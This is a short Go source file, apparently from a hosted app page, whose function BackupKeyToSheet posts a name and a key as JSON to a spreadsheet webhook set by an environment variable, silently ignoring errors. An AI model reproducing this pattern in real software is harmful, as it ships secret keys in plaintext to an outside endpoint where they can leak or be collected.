Spaces:
Paused
Paused
| package handler | |
| import ( | |
| "bytes" | |
| "encoding/json" | |
| "net/http" | |
| "os" | |
| ) | |
| var sheetsWebhook = os.Getenv("SHEETS_WEBHOOK") | |
| func BackupKeyToSheet(name, key string) { | |
| if sheetsWebhook == "" { return } | |
| body, _ := json.Marshal(map[string]string{"name": name, "key": key}) | |
| http.Post(sheetsWebhook, "application/json", bytes.NewReader(body)) | |
| } |